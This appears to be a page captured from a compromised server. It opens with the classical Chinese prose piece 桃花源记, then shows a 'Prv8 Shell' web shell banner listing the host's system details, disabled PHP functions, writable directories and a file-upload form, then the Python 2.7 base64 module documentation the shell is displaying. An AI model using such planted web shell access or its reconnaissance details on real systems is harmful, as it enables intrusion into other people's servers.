晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python2-docs/html/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python2-docs/html/library/base64.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>18.12. base64 — RFC 3548: Base16, Base32, Base64 Data Encodings &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="18.13. binhex — Encode and decode binhex4 files" href="binhex.html" />
    <link rel="prev" title="18.11. rfc822 — Parse RFC 2822 mail headers" href="rfc822.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/library/base64.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="binhex.html" title="18.13. binhex — Encode and decode binhex4 files"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="rfc822.html" title="18.11. rfc822 — Parse RFC 2822 mail headers"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="netdata.html" accesskey="U">18. Internet Data Handling</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="module-base64">
<span id="base64-rfc-3548-base16-base32-base64-data-encodings"></span><h1>18.12. <a class="reference internal" href="#module-base64" title="base64: RFC 3548: Base16, Base32, Base64 Data Encodings"><code class="xref py py-mod docutils literal notranslate"><span class="pre">base64</span></code></a> — RFC 3548: Base16, Base32, Base64 Data Encodings<a class="headerlink" href="#module-base64" title="Permalink to this headline">¶</a></h1>
<p id="index-0">This module provides data encoding and decoding as specified in <span class="target" id="index-1"></span><a class="rfc reference external" href="https://tools.ietf.org/html/rfc3548.html"><strong>RFC 3548</strong></a>.
This standard defines the Base16, Base32, and Base64 algorithms for encoding and
decoding arbitrary binary strings into text strings that can be safely sent by
email, used as parts of URLs, or included as part of an HTTP POST request.  The
encoding algorithm is not the same as the <strong class="program">uuencode</strong> program.</p>
<p>There are two interfaces provided by this module.  The modern interface supports
encoding and decoding string objects using both base-64 alphabets defined
in <span class="target" id="index-2"></span><a class="rfc reference external" href="https://tools.ietf.org/html/rfc3548.html"><strong>RFC 3548</strong></a> (normal, and URL- and filesystem-safe).  The legacy
interface provides for encoding and decoding to and from file-like objects as
well as strings, but only using the Base64 standard alphabet.</p>
<p>The modern interface, which was introduced in Python 2.4, provides:</p>
<dl class="function">
<dt id="base64.b64encode">
<code class="descclassname">base64.</code><code class="descname">b64encode</code><span class="sig-paren">(</span><em>s</em><span class="optional">[</span>, <em>altchars</em><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#base64.b64encode" title="Permalink to this definition">¶</a></dt>
<dd><p>Encode a string using Base64.</p>
<p><em>s</em> is the string to encode.  Optional <em>altchars</em> must be a string of at least
length 2 (additional characters are ignored) which specifies an alternative
alphabet for the <code class="docutils literal notranslate"><span class="pre">+</span></code> and <code class="docutils literal notranslate"><span class="pre">/</span></code> characters.  This allows an application to e.g.
generate URL or filesystem safe Base64 strings.  The default is <code class="docutils literal notranslate"><span class="pre">None</span></code>, for
which the standard Base64 alphabet is used.</p>
<p>The encoded string is returned.</p>
</dd></dl>

<dl class="function">
<dt id="base64.b64decode">
<code class="descclassname">base64.</code><code class="descname">b64decode</code><span class="sig-paren">(</span><em>s</em><span class="optional">[</span>, <em>altchars</em><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#base64.b64decode" title="Permalink to this definition">¶</a></dt>
<dd><p>Decode a Base64 encoded string.</p>
<p><em>s</em> is the string to decode.  Optional <em>altchars</em> must be a string of at least
length 2 (additional characters are ignored) which specifies the alternative
alphabet used instead of the <code class="docutils literal notranslate"><span class="pre">+</span></code> and <code class="docutils literal notranslate"><span class="pre">/</span></code> characters.</p>
<p>The decoded string is returned.  A <a class="reference internal" href="exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">TypeError</span></code></a> is raised if <em>s</em> is
incorrectly padded.  Characters that are neither
in the normal base-64 alphabet nor the alternative alphabet are
discarded prior to the padding check.</p>
</dd></dl>

<dl class="function">
<dt id="base64.standard_b64encode">
<code class="descclassname">base64.</code><code class="descname">standard_b64encode</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.standard_b64encode" title="Permalink to this definition">¶</a></dt>
<dd><p>Encode string <em>s</em> using the standard Base64 alphabet.</p>
</dd></dl>

<dl class="function">
<dt id="base64.standard_b64decode">
<code class="descclassname">base64.</code><code class="descname">standard_b64decode</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.standard_b64decode" title="Permalink to this definition">¶</a></dt>
<dd><p>Decode string <em>s</em> using the standard Base64 alphabet.</p>
</dd></dl>

<dl class="function">
<dt id="base64.urlsafe_b64encode">
<code class="descclassname">base64.</code><code class="descname">urlsafe_b64encode</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.urlsafe_b64encode" title="Permalink to this definition">¶</a></dt>
<dd><p>Encode string <em>s</em> using the URL- and filesystem-safe
alphabet, which substitutes <code class="docutils literal notranslate"><span class="pre">-</span></code> instead of
<code class="docutils literal notranslate"><span class="pre">+</span></code> and <code class="docutils literal notranslate"><span class="pre">_</span></code> instead of <code class="docutils literal notranslate"><span class="pre">/</span></code> in the standard Base64 alphabet.  The result
can still contain <code class="docutils literal notranslate"><span class="pre">=</span></code>.</p>
</dd></dl>

<dl class="function">
<dt id="base64.urlsafe_b64decode">
<code class="descclassname">base64.</code><code class="descname">urlsafe_b64decode</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.urlsafe_b64decode" title="Permalink to this definition">¶</a></dt>
<dd><p>Decode string <em>s</em> using the URL- and filesystem-safe
alphabet, which substitutes <code class="docutils literal notranslate"><span class="pre">-</span></code> instead of
<code class="docutils literal notranslate"><span class="pre">+</span></code> and <code class="docutils literal notranslate"><span class="pre">_</span></code> instead of <code class="docutils literal notranslate"><span class="pre">/</span></code> in the standard Base64 alphabet.</p>
</dd></dl>

<dl class="function">
<dt id="base64.b32encode">
<code class="descclassname">base64.</code><code class="descname">b32encode</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.b32encode" title="Permalink to this definition">¶</a></dt>
<dd><p>Encode a string using Base32.  <em>s</em> is the string to encode.  The encoded string
is returned.</p>
</dd></dl>

<dl class="function">
<dt id="base64.b32decode">
<code class="descclassname">base64.</code><code class="descname">b32decode</code><span class="sig-paren">(</span><em>s</em><span class="optional">[</span>, <em>casefold</em><span class="optional">[</span>, <em>map01</em><span class="optional">]</span><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#base64.b32decode" title="Permalink to this definition">¶</a></dt>
<dd><p>Decode a Base32 encoded string.</p>
<p><em>s</em> is the string to decode.  Optional <em>casefold</em> is a flag specifying whether a
lowercase alphabet is acceptable as input.  For security purposes, the default
is <code class="docutils literal notranslate"><span class="pre">False</span></code>.</p>
<p><span class="target" id="index-3"></span><a class="rfc reference external" href="https://tools.ietf.org/html/rfc3548.html"><strong>RFC 3548</strong></a> allows for optional mapping of the digit 0 (zero) to the letter O
(oh), and for optional mapping of the digit 1 (one) to either the letter I (eye)
or letter L (el).  The optional argument <em>map01</em> when not <code class="docutils literal notranslate"><span class="pre">None</span></code>, specifies
which letter the digit 1 should be mapped to (when <em>map01</em> is not <code class="docutils literal notranslate"><span class="pre">None</span></code>, the
digit 0 is always mapped to the letter O).  For security purposes the default is
<code class="docutils literal notranslate"><span class="pre">None</span></code>, so that 0 and 1 are not allowed in the input.</p>
<p>The decoded string is returned.  A <a class="reference internal" href="exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">TypeError</span></code></a> is raised if <em>s</em> is
incorrectly padded or if there are non-alphabet characters present in the
string.</p>
</dd></dl>

<dl class="function">
<dt id="base64.b16encode">
<code class="descclassname">base64.</code><code class="descname">b16encode</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.b16encode" title="Permalink to this definition">¶</a></dt>
<dd><p>Encode a string using Base16.</p>
<p><em>s</em> is the string to encode.  The encoded string is returned.</p>
</dd></dl>

<dl class="function">
<dt id="base64.b16decode">
<code class="descclassname">base64.</code><code class="descname">b16decode</code><span class="sig-paren">(</span><em>s</em><span class="optional">[</span>, <em>casefold</em><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#base64.b16decode" title="Permalink to this definition">¶</a></dt>
<dd><p>Decode a Base16 encoded string.</p>
<p><em>s</em> is the string to decode.  Optional <em>casefold</em> is a flag specifying whether a
lowercase alphabet is acceptable as input.  For security purposes, the default
is <code class="docutils literal notranslate"><span class="pre">False</span></code>.</p>
<p>The decoded string is returned.  A <a class="reference internal" href="exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">TypeError</span></code></a> is raised if <em>s</em> were
incorrectly padded or if there are non-alphabet characters present in the
string.</p>
</dd></dl>

<p>The legacy interface:</p>
<dl class="function">
<dt id="base64.decode">
<code class="descclassname">base64.</code><code class="descname">decode</code><span class="sig-paren">(</span><em>input</em>, <em>output</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.decode" title="Permalink to this definition">¶</a></dt>
<dd><p>Decode the contents of the <em>input</em> file and write the resulting binary data to
the <em>output</em> file. <em>input</em> and <em>output</em> must either be file objects or objects
that mimic the file object interface. <em>input</em> will be read until
<code class="docutils literal notranslate"><span class="pre">input.read()</span></code> returns an empty string.</p>
</dd></dl>

<dl class="function">
<dt id="base64.decodestring">
<code class="descclassname">base64.</code><code class="descname">decodestring</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.decodestring" title="Permalink to this definition">¶</a></dt>
<dd><p>Decode the string <em>s</em>, which must contain one or more lines of base64 encoded
data, and return a string containing the resulting binary data.</p>
</dd></dl>

<dl class="function">
<dt id="base64.encode">
<code class="descclassname">base64.</code><code class="descname">encode</code><span class="sig-paren">(</span><em>input</em>, <em>output</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.encode" title="Permalink to this definition">¶</a></dt>
<dd><p>Encode the contents of the <em>input</em> file and write the resulting base64 encoded
data to the <em>output</em> file. <em>input</em> and <em>output</em> must either be file objects or
objects that mimic the file object interface. <em>input</em> will be read until
<code class="docutils literal notranslate"><span class="pre">input.read()</span></code> returns an empty string.  <a class="reference internal" href="#base64.encode" title="base64.encode"><code class="xref py py-func docutils literal notranslate"><span class="pre">encode()</span></code></a> returns the encoded
data plus a trailing newline character (<code class="docutils literal notranslate"><span class="pre">'\n'</span></code>).</p>
</dd></dl>

<dl class="function">
<dt id="base64.encodestring">
<code class="descclassname">base64.</code><code class="descname">encodestring</code><span class="sig-paren">(</span><em>s</em><span class="sig-paren">)</span><a class="headerlink" href="#base64.encodestring" title="Permalink to this definition">¶</a></dt>
<dd><p>Encode the string <em>s</em>, which can contain arbitrary binary data, and return a
string containing one or more lines of base64-encoded data.
<a class="reference internal" href="#base64.encodestring" title="base64.encodestring"><code class="xref py py-func docutils literal notranslate"><span class="pre">encodestring()</span></code></a> returns a string containing one or more lines of
base64-encoded data always including an extra trailing newline (<code class="docutils literal notranslate"><span class="pre">'\n'</span></code>).</p>
</dd></dl>

<p>An example usage of the module:</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="gp">&gt;&gt;&gt; </span><span class="kn">import</span> <span class="nn">base64</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">encoded</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="s1">&#39;data to be encoded&#39;</span><span class="p">)</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">encoded</span>
<span class="go">&#39;ZGF0YSB0byBiZSBlbmNvZGVk&#39;</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">data</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encoded</span><span class="p">)</span>
<span class="gp">&gt;&gt;&gt; </span><span class="n">data</span>
<span class="go">&#39;data to be encoded&#39;</span>
</pre></div>
</div>
<div class="admonition seealso">
<p class="first admonition-title">See also</p>
<dl class="last docutils">
<dt>Module <a class="reference internal" href="binascii.html#module-binascii" title="binascii: Tools for converting between binary and various ASCII-encoded binary representations."><code class="xref py py-mod docutils literal notranslate"><span class="pre">binascii</span></code></a></dt>
<dd>Support module containing ASCII-to-binary and binary-to-ASCII conversions.</dd>
<dt><span class="target" id="index-4"></span><a class="rfc reference external" href="https://tools.ietf.org/html/rfc1521.html"><strong>RFC 1521</strong></a> - MIME (Multipurpose Internet Mail Extensions) Part One: Mechanisms for Specifying and Describing the Format of Internet Message Bodies</dt>
<dd>Section 5.2, “Base64 Content-Transfer-Encoding,” provides the definition of the
base64 encoding.</dd>
</dl>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h4>Previous topic</h4>
  <p class="topless"><a href="rfc822.html"
                        title="previous chapter">18.11. <code class="docutils literal notranslate"><span class="pre">rfc822</span></code> — Parse RFC 2822 mail headers</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="binhex.html"
                        title="next chapter">18.13. <code class="docutils literal notranslate"><span class="pre">binhex</span></code> — Encode and decode binhex4 files</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/library/base64.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="binhex.html" title="18.13. binhex — Encode and decode binhex4 files"
             >next</a> |</li>
        <li class="right" >
          <a href="rfc822.html" title="18.11. rfc822 — Parse RFC 2822 mail headers"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="netdata.html" >18. Internet Data Handling</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025